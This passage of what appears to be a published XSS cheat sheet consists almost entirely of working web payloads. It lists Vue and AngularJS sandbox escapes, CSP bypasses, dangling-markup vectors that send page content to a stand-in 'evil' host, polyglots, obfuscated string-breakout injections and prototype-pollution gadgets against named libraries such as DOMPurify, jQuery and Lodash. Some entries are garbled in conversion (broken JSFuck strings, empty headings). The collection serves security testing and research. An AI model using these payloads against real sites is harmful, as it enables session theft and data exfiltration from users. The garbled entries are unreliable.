Version 3	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	52	<code><x @click=_withCtx.constructor`alert(1)`()>click</x></code>	
Version 3	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	40	<code><x @click=\$event.view.alert(1)>click</x></code>	
Version 3	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	34	<code>{__Vue.h.constructor`alert(1)`()}</code>	
Version 3	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	33	<code>{\$_emit.constructor`alert(1)`()}</code>	
Version 3	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	85	<code><teleport to=script:nth-child(2)>alert&lpar;i&rpar;</teleport></div><script></script></code>	
Version 3	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	85	<code><teleport to=script:nth-child(2)>alert&lpar;i&rpar;</teleport></div><script></script></code>	
Version 3	Gareth Heyes (PortSwigger) & Lewis Ardern & PwnFunction (Independent consultant)	35	<code><component is=script text=alert(1)></code>	

AngularJS sandbox escapes reflected

Version:	Author:	Length:	Vector:	
1.0.1 - 1.1.5	Mario Heiderich (Cure53)	41	<code>{constructor.constructor('alert(1')())}</code>	
1.0.1 - 1.1.5 (shorter)	Gareth Heyes (PortSwigger) & Lewis Ardern (Synopsys)	33	<code>{\$_on.constructor('alert(1')())}</code>	
1.2.0 - 1.2.1	Jann Horn (Google)	122	<code>{a='constructor';b={};;a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1')())};;</code>	
1.2.2 - 1.2.5	Gareth Heyes (PortSwigger)	23	<code>{__{}."));alert(1)//"};</code>	

1.2.19 - 1.2.23	Mathias Karlsson (Detectify)	124	<code>{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}</code>	
1.2.24 - 1.2.29	Gareth Heyes (PortSwigger)	23	<code>{{{}."));alert(1)//"}}</code>	
1.2.27- 1.2.29/1.3.0- 1.3.20	Gareth Heyes (PortSwigger)	23	<code>{{{}."));alert(1)//"}}</code>	
1.3.0	Gábor Molnár (Google)	272	<code>{{!ready && (ready = true) && (!call ? \$\$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && ('+''.toString(''F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(1);')));}}</code>	
1.3.3 - 1.3.18	Gareth Heyes (PortSwigger)	128	<code>{{[]}{[toString:[]].join,length:1,0:'__proto__']}.assign=[].join;a'.constructor.prototype.charAt=[].join;\$eval('x=alert(1)//'')}</code>	
1.3.19	Gareth Heyes (PortSwigger)	102	<code>{{'a'[toString:false,valueOf:[]].join,length:1,0:'__proto__']}.charAt=[].join;\$eval('x=alert(1)//'')}</code>	
1.3.20	Gareth Heyes (PortSwigger)	65	<code>{{'a'.constructor.prototype.charAt=[].join;\$eval('x=alert(1)'')}}</code>	
1.4.0 - 1.4.9	Gareth Heyes (PortSwigger)	74	<code>{{'a'.constructor.prototype.charAt=[].join;\$eval('x=1')};alert(1)//'')}</code>	
1.5.0 - 1.5.8	Ian Hickey & Gareth Heyes (PortSwigger)	79	<code>{{x={'y':''}.constructor.prototype};x['y'].charAt=[].join;\$eval('x=alert(1)'')}}</code>	
1.5.9 - 1.5.11	Jann Horn (Google)	517	<code>{{ c=''.sub.call;b=''.sub.bind;a=''.sub.apply;c.\$apply=\$apply;c.\$eval=b;\$root.\$\$phase=\$root,\$\$phase=null;od=\$root.\$digest;\$root.\$digest=({}).toString();C=c.\$apply(c);\$root.\$\$phase=op;\$root.\$digest=od;B=C(b,c,b);\$evalAsync(" astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?void0:(window.X=true,alert(1))+'';astNode.argument={type:'Identifier',name:'foo'}; ");m1=B(\$\$asyncQueue.pop().expression,null,\$root); m2=B(C,null,m1); [].push,apply=m2;a=''.sub; \$eval('a(b,c)');[],push,apply=a; }}</code>	
1.5.9 - 1.5.11 shorter	Jann Horn (Google) & Lukasz Plonka	326	<code>{{c=''.sub.call;b=''.sub.bind;c.\$apply=\$apply;c.\$eval=b;\$root.\$\$phase=null;\$root.\$digest=\$on;C=c.\$apply(c);B=C(b,c,b);\$evalAsync("astNode=pop();astNode.type='Unary Expression';astNode.operator='alert(1)';astNode.argument={type:'Identifier'}");m1=\$\$asyncQueue.pop().expression;m2=B(C,null,m1);[].push,apply=m2;\$eval('B(b)');}}</code>	
>=1.6.0	Mario Heiderich (Cure53)	41	<code>{{constructor.constructor('alert(1')())}}</code>	
>=1.6.0 (shorter)	Gareth Heyes (PortSwigger) & Lewis Ardern (Synopsys)	33	<code>{{\$on.constructor('alert(1')())}}</code>	

DOM based AngularJS sandbox escapes (Using orderBy or no \$eval)

Version:	Author:	Length:	Vector:	
1.0.1 - 1.1.5	Mario Heiderich (Cure53)	37	<code>constructor.constructor('alert(1')()</code>	
1.2.0 - 1.2.18	Jann Horn (Google)	118	<code>a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub)),a).value,0,'alert(1')()</code>	
1.2.19 - 1.2.23	Mathias Karlsson (Detectify)	119	<code>toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)</code>	
1.2.24 - 1.2.26	Gareth Heyes (PortSwigger)	217	<code>[[[[proto,'1111\x1f']=constructor.getPrototypeOfDescriptor,g=f]]]</code>	

			<pre>'z'];d(''.sub[['__proto__']], 'constructor', {value:false});{} [['__proto__']]['y'].value('alert(1)')()</pre>	
1.2.27- 1.2.29/1.3.0- 1.3.20	Gareth Heyes (PortSwigger)	20	<pre>{}.");alert(1)//";</pre>	
1.4.0-1.4.5	Gareth Heyes (PortSwigger)	75	<pre>'a'.constructor.prototype.charAt=[].join;[1] orderBy:'x=1' } };alert(1)///;</pre>	
1.4.2-1.5.8	Gareth Heyes (PortSwigger) & Daniel Kachakil (Anvil Ventures)	70	<pre>{y:''.constructor.prototype} .y.charAt=[].join;[1] orderBy:'x=alert(1)'</pre>	
>=1.6.0	Mario Heiderich (Cure53)	37	<pre>constructor.constructor('alert(1')())</pre>	
1.4.4 (without strings)	Gareth Heyes (PortSwigger)	134	<pre>toString().constructor.prototype.charAt=[].join; [1,2] orderBy:toString().constructor.fromCharCode(120,61,97,108,101,11 4,116,40,49,41)</pre>	

AngularJS CSP bypasses

Version:	Author:	Length:	Vector:	
All versions (all browsers) using from	Gareth Heyes (PortSwigger)	91	<pre><input autofocus ng- focus="\$event.composedPath() orderBy:'[].constructor.from([1],alert)'" ></pre>	
All versions (all browsers) shorter using assignment	Gareth Heyes (PortSwigger)	66	<pre><input id=x ng-focus=\$event.composedPath() orderBy:'(z=alert)(1)'></pre>	
All versions (all browsers) shorter	Gareth Heyes (PortSwigger)	91	<pre><input autofocus ng- focus="\$event.composedPath() orderBy:'[].constructor.from([1],alert)'" ></pre>	
1.2.0 - 1.5.0	Eduardo Vela (Google)	190	<pre><div ng-app ng-csp><div ng-focus="x=\$event;" id=f tabindex=0>foo</div> <div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'"> {{ [1].reduce(value.alert, 1); }}</div></div></pre>	
All versions (all browsers) shorter via oncut	Savan Gadhia (NotSoSecure)	59	<pre><input ng-cut=\$event.composedPath() orderBy:'(y=alert)(1)'></pre>	

Scriptless attacks

Dangling markup



Background attribute

```
<body background="//evil? <table background="//evil? <table><thead  
background="//evil? <table><tbody background="//evil? <table><table><tfoot  
background="//evil? <table><td background="//evil? <table><table><th  
background="//evil?
```



Link href stylesheet

```
<link rel=stylesheet href="//evil?
```



Link href icon

```
<link rel=icon href="//evil?>
```



Meta refresh

```
<meta http-equiv="refresh" content="0; http://evil?
```



Img to pass markup through src attribute

```
<track default src="//evil?
```



Video using source element and src attribute

```
<video><source src="//evil?
```



Audio using source element and src attribute

```
<audio><source src="//evil?
```



Input src

```
<input type=image src="//evil?
```



Button using formaction

```
<form><button style="width:100%;height:100%" type=submit  
formaction="//evil?"
```



Input using formaction

```
<form><input type=submit value="XSS" style="width:100%;height:100%"  
type=submit formaction="//evil?"
```



Form using action

```
<button form=x style="width:100%;height:100%;"><form id=x action="//evil?
```



Object data

```
<object data="//evil?
```



Iframe src

```
<iframe src="//evil?
```



Embed src

```
<embed src="//evil?
```





Pass markup data through window.name using form target

```
<button form=x>XSS</button><form id=x action=/evil target='
```



Pass markup data through window.name using base target

```
<a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html>
<font size=100 color=red>You must click me</font></a><base target="
```



Pass markup data through window.name using formtarget

```
<form><input type=submit value="Click me"
formaction=http://subdomain1.portswigger-labs.net/dangling_markup/name.html
formtarget="
```



Using base href to pass data

```
<a href=abc style="width:100%;height:100%;position:absolute;font-
size:1000px;">xss<base href="/evil/
```



Using embed window name to pass data from the page

```
<embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html
name="
```



Using iframe window name to pass data from the page

```
<iframe src=http://subdomain1.portswigger-
labs.net/dangling_markup/name.html name="
```



Using object window name to pass data from the page

```
<object data=http://subdomain1.portswigger-
labs.net/dangling_markup/name.html name="
```



Using frame window name to pass data from the page

```
<frameset><frame src=http://subdomain1.portswigger-
labs.net/dangling_markup/name.html name="
```



Overwrite type attribute with image in hidden inputs

```
<input type=hidden type=image src="/evil?
```



Polyglots



Polyglot payload 1

```
javascript:/*--></title></style></textarea></script></xmp>
<svg/onload='/*'+/+/onmouseover=1+/*[*/[]/+alert(1)//'>
```



Polyglot payload 2

```
javascript:"/*`/*`/*--></noscript></title></textarea></style></template>
</noembed></script><html \" onmouseover=/*< />+svg/*/onload=alert()//>
```



Polyglot payload 3

```
javascript:/*--></title></style></textarea></script></xmp>
<details/open/ontoggle='/*'+/+/onmouseover=1+/*[*/[]/+alert(/@PortSwigge
rRes)//'>
```



XSS into a JavaScript string: string concatenation
(window)



XSS into a JavaScript string: string concatenation
(self)



XSS into a JavaScript string: string concatenation
(this)



XSS into a JavaScript string: string concatenation
(top)



XSS into a JavaScript string: string concatenation
(parent)



XSS into a JavaScript string: string concatenation
(frames)



XSS into a JavaScript string: string concatenation
(globalThis)



XSS into a JavaScript string: comment syntax
(window)

```
';window['ale'+rt'](window['doc'+ument]['dom'+ain']);//
```



XSS into a JavaScript string: comment syntax (self)

```
';self[/*foo*/'alert'/*bar*'](window[/*foo*/'document'/*bar*/] ['domain']);//
```



XSS into a JavaScript string: comment syntax (this)

```
';this[/*foo*/'alert'/*bar*'](this[/*foo*/'document'/*bar*/] ['domain']);//
```



XSS into a JavaScript string: comment syntax (top)

```
';top[/*foo*/'alert'/*bar*'](top[/*foo*/'document'/*bar*/] ['domain']);//
```



XSS into a JavaScript string: comment syntax
(parent)

```
';parent[/*foo*/'alert'/*bar*'](parent[/*foo*/'document'/*bar*/] ['domain']);//
```



XSS into a JavaScript string: comment syntax
(frames)

```
';frames[/*foo*/'alert'/*bar*'](frames[/*foo*/'document'/*bar*/] ['domain']);//
```



XSS into a JavaScript string: comment syntax
(globalThis)

```
';globalThis[/*foo*/'alert'/*bar*'](globalThis[/*foo*/'document'/*bar*/] ['domain']);//
```



XSS into a JavaScript string: hex escape sequence
(window)

```
';window['\x61\x6c\x65\x72\x74'](window['\x64\x6f\x63\x75\x6d\x65\x6e\x74'] ['\x64\x6f\x6d\x61\x69\x6e']);//
```



XSS into a JavaScript string: hex escape sequence
(self)

```
';self['\x61\x6c\x65\x72\x74'](self['\x64\x6f\x63\x75\x6d\x65\x6e\x74'] ['\x64\x6f\x6d\x61\x69\x6e']);//
```



XSS into a JavaScript string: hex escape sequence

```
';this['\x61\x6c\x65\x72\x74'](this['\x64\x6f\x63\x75\x6d\x65\x6e\x74'] ['\x64\x6f\x6d\x61\x69\x6e']);//
```



XSS into a JavaScript string: hex escape sequence (top)



```
';top['\x61\x6c\x65\x72\x74'](top['\x64\x6f\x63\x75\x6d\x65\x6e\x74']  
['\x64\x6f\x6d\x61\x69\x6e']);//
```

XSS into a JavaScript string: hex escape sequence (parent)



XSS into a JavaScript string: hex escape sequence (frames)



XSS into a JavaScript string: hex escape sequence (globalThis)



```
';globalThis['\x61\x6c\x65\x72\x74']  
(globalThis['\x64\x6f\x63\x75\x6d\x65\x6e\x74']  
['\x64\x6f\x6d\x61\x69\x6e']);//
```

XSS into a JavaScript string: hex escape sequence and base64 encoded string (window)



XSS into a JavaScript string: hex escape sequence and base64 encoded string (self)



XSS into a JavaScript string: hex escape sequence and base64 encoded string (this)



XSS into a JavaScript string: hex escape sequence and base64 encoded string (top)



XSS into a JavaScript string: hex escape sequence and base64 encoded string (parent)



XSS into a JavaScript string: hex escape sequence and base64 encoded string (frames)



XSS into a JavaScript string: hex escape sequence and base64 encoded string (globalThis)



XSS into a JavaScript string: octal escape sequence (window)



XSS into a JavaScript string: octal escape sequence (self)



XSS into a JavaScript string: octal escape sequence (this)



XSS into a JavaScript string: octal escape sequence (top)



XSS into a JavaScript string: octal escape sequence (parent)





XSS into a JavaScript string: octal escape sequence
(globalThis)

```
';globalThis['\141\154\145\162\164']('130\123\123');//
```



XSS into a JavaScript string: unicode escape
(window)

```
';window['\u0061\u006c\u0065\u0072\u0074'](\u0058\u0053\u0053');//
```



XSS into a JavaScript string: unicode escape (self)

```
';self['\u0061\u006c\u0065\u0072\u0074'](\u0058\u0053\u0053);//
```



XSS into a JavaScript string: unicode escape (this)

```
';this['\u0061\u006c\u0065\u0072\u0074'](\u0058\u0053\u0053);//
```



XSS into a JavaScript string: unicode escape (top)

```
';top['\u0061\u006c\u0065\u0072\u0074'](\u0058\u0053\u0053);//
```



XSS into a JavaScript string: unicode escape
(parent)

```
';parent['\u0061\u006c\u0065\u0072\u0074'](\u0058\u0053\u0053);//
```



XSS into a JavaScript string: unicode escape
(frames)

```
';frames['\u0061\u006c\u0065\u0072\u0074'](\u0058\u0053\u0053);//
```



XSS into a JavaScript string: unicode escape
(globalThis)

```
';globalThis['\u0061\u006c\u0065\u0072\u0074'](\u0058\u0053\u0053);//
```



XSS into a JavaScript string: RegExp source
property (window)

```
';window[/al/.source+/ert/.source](/XSS/.source);//
```



XSS into a JavaScript string: RegExp source
property (self)

```
';self[/al/.source+/ert/.source](/XSS/.source);//
```



XSS into a JavaScript string: RegExp source
property (this)

```
';this[/al/.source+/ert/.source](/XSS/.source);//
```



XSS into a JavaScript string: RegExp source
property (top)

```
';top[/al/.source+/ert/.source](/XSS/.source);//
```



XSS into a JavaScript string: RegExp source
property (parent)

```
';parent[/al/.source+/ert/.source](/XSS/.source);//
```



XSS into a JavaScript string: RegExp source
property (frames)

```
';frames[/al/.source+/ert/.source](/XSS/.source);//
```



XSS into a JavaScript string: RegExp source
property (globalThis)

```
';globalThis[/al/.source+/ert/.source](/XSS/.source);//
```



XSS into a JavaScript string: Hieroglyphy/JSFuck
(window)

```
';window[+(+[])[+!![]]+(![]+[+])[!+[+!![]]+([[[+]]+[+]]+[!+[+!![]]+!![]]+(![]+[+])[+!![]]+(![]+[+])[+!![]]+(![]+[+])[+!![]]]((+{}+[+])[+!![]]);//
```





XSS into a JavaScript string: Hieroglyphy/JSFuck (this)

```
';this[+{}+[)][+!![]]+(![]+[)][!+[]+!![]]+([][[]]+[])[!+[]+!![]]+!![]]+(![]+[)][+!![]]+(![]+[)][+[]]]((+{}+[])[+!![]]);//
```



XSS into a JavaScript string: Hieroglyphy/JSFuck (top)

```
';top[+{}+[)][+!![]]+(![]+[)][!+[]+!![]]+([][[]]+[])[!+[]+!![]]+!![]]+(![]+[)][+!![]]+(![]+[)][+[]]]((+{}+[])[+!![]]);//
```



XSS into a JavaScript string: Hieroglyphy/JSFuck (parent)

```
');parent[+{}+[)][+!![]]+(![]+[)][!+[]+!![]]+([][[]]+[])[!+[]+!![]]+!![]]+(![]+[)][+!![]]+(![]+[)][+[]]]((+{}+[])[+!![]]);//
```



XSS into a JavaScript string: Hieroglyphy/JSFuck (frames)

```
');frames[+{}+[)][+!![]]+(![]+[)][!+[]+!![]]+([][[]]+[])[!+[]+!![]]+!![]]+(![]+[)][+!![]]+(![]+[)][+[]]]((+{}+[])[+!![]]);//
```



XSS into a JavaScript string: Hieroglyphy/JSFuck (globalThis)

```
');globalThis[+{}+[)][+!![]]+(![]+[)][!+[]+!![]]+([][[]]+[])[!+[]+!![]]+!![]]+(![]+[)][+!![]]+(![]+[)][+[]]]((+{}+[])[+!![]]);//
```



Content types

This section lists content-types that can be used for XSS with the X-Content-Type-Options: nosniff header active.

Content-Type	Browsers	PoC
text/html		<script>alert(document.domain)</script>
application/xhtml+xml		<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>
application/xml		<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>
text/xml		<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>
image/svg+xml		<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>
text/xsl		<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>
application/vnd.wap.xhtml+xml		<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>
text/rdf		<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>
application/rdf+xml		<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>
application/mathml+xml		<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>
text/vtt		<script>alert(document.domain)</script>
text/cache-manifest		<script>alert(document.domain)</script>

Response content types

This section lists content-types that can be used for XSS when you can inject into the content-type header.

Content-Type	Browsers	PoC
text/plain; x=x, text/html, foobar		<script>alert(document.domain)</script>
text/html(xxx		<script>alert(document.domain)</script>
text/html xxx		<script>alert(document.domain)</script>
text/html xxx		<script>alert(document.domain)</script>
text/html, xxx		<script>alert(document.domain)</script>
text/html; xxx		<script>alert(document.domain)</script>

Impossible labs

To find out what these are for, please refer to [Documenting the impossible: Unexploitable XSS labs](#).

Title	Description	Length	Closest vector limit	Link
Basic context, WAF blocks <[a-zA-Z]	This lab captures the scenario when you can't use an open tag followed by an alphanumeric character. Sometimes you can solve this problem by bypassing the WAF entirely, but what about when that's not an option? Certain versions of .NET have this behaviour, and it's only known to be exploitable in old IE with <%tag.	N/A	N/A	
Script based injection but quotes, forward slash and backslash are escaped	We often encounter this situation in the wild: you have an injection inside a JavaScript variable and can inject angle brackets, but quotes and forward/backslashes are escaped so you can't simply close the script block.	N/A	N/A	

The closest we've got to solving this is when you have multiple injection points. The first [within a script based context and the second in HTML](#).

Basic context length limit	This lab's injection occurs within the basic HTML context but has a length limitation of 15. Filedescriptor came up with a vector that could execute JavaScript in 16 characters: <q oncut=alert`` but can you beat it?	15	<q oncut=alert``	
Attribute context length limit	The context of this lab inside an attribute with a length limitation of 14 characters. We came up with a vector that executes JavaScript in 15 characters:"oncut=alert``+ the plus is a trailing space. Do you think you can beat it?	14	"oncut=alert``	
Basic context length limit, arbitrary code	It's all well and good executing JavaScript but if all you can do is call alert what use is that? In this lab we demonstrate the shortest possible way to execute arbitrary code.	19	<q oncut=eval(name)	
Attribute context length limit arbitrary code	Again calling alert proves you can call a function but we created another lab to find the shortest possible attribute based injection with arbitrary JavaScript.	17	See link	
Injection occurs inside a frameset but before the body	We received a request from twitter about this next lab. It occurs within a frameset but before a body tag with equals filtered. You would think you could inject a closing frameset followed by a script block but that would be too easy.	N/A	N/A	
Injection occurs inside single quoted string, only characters a-zA-Z0-9+'.' are allowed.	The injection occurs within a single quoted string and the challenge is to execute arbitrary code using the charset a-zA-Z0-9+'.'. Luan Herrera solved this lab in an amazing way, you can view the solution in the following post .	N/A	N/A	
Injection occurs inside double quoted src attribute of a image element	The double quote is encoded, the challenge is to find a way to execute XSS within a quoted src attribute.	N/A	N/A	

Prototype pollution

Library	Payload	Author	Version	Fingerprint
Wistia Embedded Video	<script> Object.prototype.innerHTML = ''; </script>	William Bowling	All versions	return (typeof wistiaEmbeds !== 'undefined')
\$(x).off jQuery	<script> Object.prototype.preventDefault='x'; Object.prototype.handleObj='x'; Object.prototype.delegateTarget=''; /* No extra code needed for jQuery 1 & 2 */\$(document).off('foobar'); </script>	Sergey Bobrov	All versions	return (typeof \$!== 'undefined' && typeof \$.fn !== 'undefined' && typeof \$fn.jquery !== 'undefined')
\$(html) jQuery	<script> Object.prototype.div=['1','','1'] </script><script> \$('<div x="x"></div>') </script>	Sergey Bobrov	All versions	return (typeof \$!== 'undefined' && typeof \$.fn !== 'undefined' && typeof \$.fn.jquery !== 'undefined')
\$.get jQuery	<script> Object.prototype.url = ['data:,alert(1)//']; Object.prototype.dataType = 'script'; </script> <script> \$.get('https://google.com/'); \$.post('https://google.com/'); </script>	Michał Bentkowski	>= 3.0.0	return (typeof \$!== 'undefined' && typeof \$.fn !== 'undefined' && typeof \$.fn.jquery !== 'undefined')
\$.getScript jQuery	<script> Object.prototype.src = ['data:,alert(1)//'] </script> <script> \$.getScript('https://google.com/') </script>	sirIus	>= 3.4.0	return (typeof \$!== 'undefined' && typeof \$.fn !== 'undefined' && typeof \$.fn.jquery !== 'undefined')
\$.getScript jQuery	<script> Object.prototype.url = 'data:,alert(1)//' </script> <script> \$.getScript('https://google.com/') </script>	sirIus	3.0.0 - 3.3.1	return (typeof \$!== 'undefined' && typeof \$.fn !== 'undefined' && typeof \$.fn.jquery !== 'undefined')
Google reCAPTCHA	<script> Object.prototype.srcdoc=['<script>alert(1) </script>'] </script>	sirIus		return (typeof recaptcha !== 'undefined')

Twitter Universal Website Tag	<pre><script> Object.prototype.hif = ['javascript:alert(document.domain)']; </script></pre>	Sergey Bobrov	return (typeof twq !== 'undefined' && typeof twq.version !== 'undefined')
Tealium Universal Tag	<pre><script> Object.prototype.attrs = {src:1}; Object.prototype.src='https://portswigger-labs.net/xss/xss.js' </script></pre>	Sergey Bobrov	return (typeof utag !== 'undefined' && typeof utag.id !== 'undefined')
Akamai Boomerang	<pre><script>Object.prototype.BOOMR = 1; Object.prototype.url='https://portswigger-labs.net/xss/xss.js'</script></pre>	s1rlus	return (typeof BOOMR !== 'undefined')
Lodash	<pre><script> Object.prototype.sourceURL = '\u2028\u2029alert(1)' </script> <script> _.template('test') </script></pre>	Alex Brasethvik	<= 4.17.15 return (typeof _ !== 'undefined' && typeof _.template !== 'undefined')
sanitize-html	<pre><script> Object.prototype['*'] = ['onload']</script> <script> document.write(sanitizeHtml('<iframe onload=alert(1)>')) </script></pre>	Michał Bentkowski	return (typeof sanitizeHtml !== 'undefined')
js-xss	<pre><script> Object.prototype.whiteList = {img: ['onerror', 'src']} </script> <script> document.write(filterXSS('')) </script></pre>	Michał Bentkowski	return (typeof filterXSS !== 'undefined')
DOMPurify	<pre><script> Object.prototype.ALLOWED_ATTR = ['onerror', 'src'] </script> <script> document.write(DOMPurify.sanitize('')) </script></pre>	Michał Bentkowski	<= 2.0.12 return (typeof DOMPurify !== 'undefined')
DOMPurify	<pre><script> Object.prototype.documentElementMode = 9 </script></pre>	Michał Bentkowski	<= 2.0.12 return (typeof DOMPurify !== 'undefined')
Closure	<pre><script> const html = ''; const sanitizer = new goog.html.sanitizer.HtmlSanitizer(); const sanitized = sanitizer.sanitize(html); const node = goog.dom.safeHtmlToNode(sanitized); document.body.append(node); </script></pre>	Michał Bentkowski	return (typeof goog !== 'undefined' && typeof goog.basePath !== 'undefined')
Closure	<pre><script> Object.prototype.CLOSURE_BASE_PATH = 'data:,alert(1)//'; </script></pre>	Michał Bentkowski	return (typeof goog !== 'undefined' && typeof goog.basePath !== 'undefined')
Marionette.js / Backbone.js	<pre><script> Object.prototype.tagName = 'img' Object.prototype.src = ['x:x'] Object.prototype.onerror = ['alert(1)'] </script> <script> (function() { var View = Mn.View.extend({template:</pre>	Sergey Bobrov	return (typeof Marionette !== 'undefined') return (typeof Backbone !== 'undefined' && typeof Backbone.VERSION !== 'undefined')

	{this.showView(new View());}}); var app = new App(); app.start(); })(); </script> <div id="template-layout" type="x-template/underscore">xxx</div>		
Adobe Dynamic Tag Management	<script> Object.prototype.src='data:,alert(1)//' </script>	Sergey Bobrov	return (typeof _satellite !== 'undefined')
Embedly Cards	<script> Object.prototype.onload = 'alert(1)' </script>	Guilherme Keerok	return (typeof window.embedly !== 'undefined')
Segment Analytics.js	<script> Object.prototype.script = [1,'<img/src/onerror=alert(1)>','<img/src/one rror=alert(2)>'] </script>	Sergey Bobrov	return (typeof analytics !== 'undefined' && typeof analytics.SNIPPET_VERSION !== 'undefined')
Knockout.js	<strong data-bind="text:'hello'"> <script> Object.prototype[4] = 'a':1, [alert(1)]:1,'b';Object.prototype[5] = ','; </script><script> ko.applyBindings({}) </script>	Michał Bentkowski	

Classic vectors (XSS crypt)

Image src with JavaScript protocol		
Body background with JavaScript protocol	<body background="javascript:alert(1)">	
Iframe data uris no longer work as modern browsers use a null origin	<iframe src="data:text/html,">	
VBScript protocol used to work in IE	XSS XSS XSS XSS XSS XSS	
JScript compact was a minimal version of JS that wasn't widely used in IE	test test	
JScript.Encode allows encoded JavaScript	XSS XSS	
VBScript.Encoded allows encoded VBScript	<iframe onload=VBScript.Encode:#@~CAAAAA=\ko\$K6,FoQIAAA==^#=~@> <iframe language=VBScript.Encode onload=@~CAAAAA=\ko\$K6,FoQIAAA==^#=~@>	
JavaScript entities used to work in Netscape Navigator	XSS	
JavaScript stylesheets used to be supported by Netscape Navigator	<link href="xss.js" rel=stylesheet type="text/javascript">	
Button used to consume markup	<form><button name=x formaction=x>stealme	
IE9 select elements and plaintext used to consume markup	<form action=><button>XSS</button><select name=x><option><plaintext> <script>token="supersecret"</script>	
XBL Firefox only <= 2	<div style="-moz-binding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)">	

XBL also worked in FF3.5 using data urls

```

```

CSS expressions <=IE7

```
<div style=xss:expression(alert(1))> <div style=xss:expression(1)-alert(1)> <div style=xss:expression\006(alert(1))> <div style=xss:expression\00006e(alert(1))> <div style=xss:expression\06(alert(1))> <div style=xss:expression\x5c;6e(alert(1))>
```

In quirks mode IE allowed you to use = instead of :

```
<div style=xss=expression(alert(1))> <div style="color:#3dred">test</div>
```

Behaviors for older modes of IE

```
<a style="behavior:url(#default#AnchorClick); folder="javascript:alert(1)">XSS</a>
```

Older versions of IE supported event handlers in functions

```
<script> function window.onload(){ alert(1); } </script> <script> function window: onload(){ alert(1); } </script> <script> function window.location(){ } </script> <body> <script> function/*<img src=1 onerror=alert(1)>*/document.body.innerHTML{} </script> </body> <script> function document.body.innerHTML{ x = "<img src=1 onerror=alert(1)>"; } </script> </body>
```

GreyMagic HTML+time exploit (no longer works even in 5 docmode)

```
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"?><?import namespace="t" implementation="#default#time2"?><t:set attributeName="innerHTML" to="XSS<img src=1 onerror=alert(1)>"> </BODY></HTML>
```

 **Firefox allows NULLs after &**

```
<a href="javascript&#x6a;avascript:alert(1)">Firefox</a>
```

 **Firefox allows NULLs inside named entities**

```
<a href="javascript&colon;alert(1)">Firefox</a>
```

 **Firefox allows NULL characters inside opening comments**

```
<!-- ><img title="--><iframe/onload=alert(1)> --> <!-- ><img title="--><iframe/onload=alert(1)>-->
```

 **Safari used to allow any tag to have a onload event inside SVG**

```
<svg><xss onload=alert(1)>
```

Isindex using src attribute

```
<isindex type=image src="//evil?
```

Isindex using submit

```
<isindex type=submit style=width:100%;height:100%; value=XSS formaction="//evil?"
```

Isindex and formaction

```
<isindex type=submit formaction=javascript:alert(1)>
```

Isindex and action

```
<isindex type=submit action=javascript:alert(1)>
```

 **discard tag and onbegin**

```
<svg><discard onbegin=alert(1)>
```

Use element with an external URL

```
<svg><use href="//subdomain1.portswigger-labs.net/use_element/upload.php#x"/></svg>
```

 **onloadstart event for media elements in Firefox v107**

```
<img src=validimage.png onloadstart=alert(1)>
```



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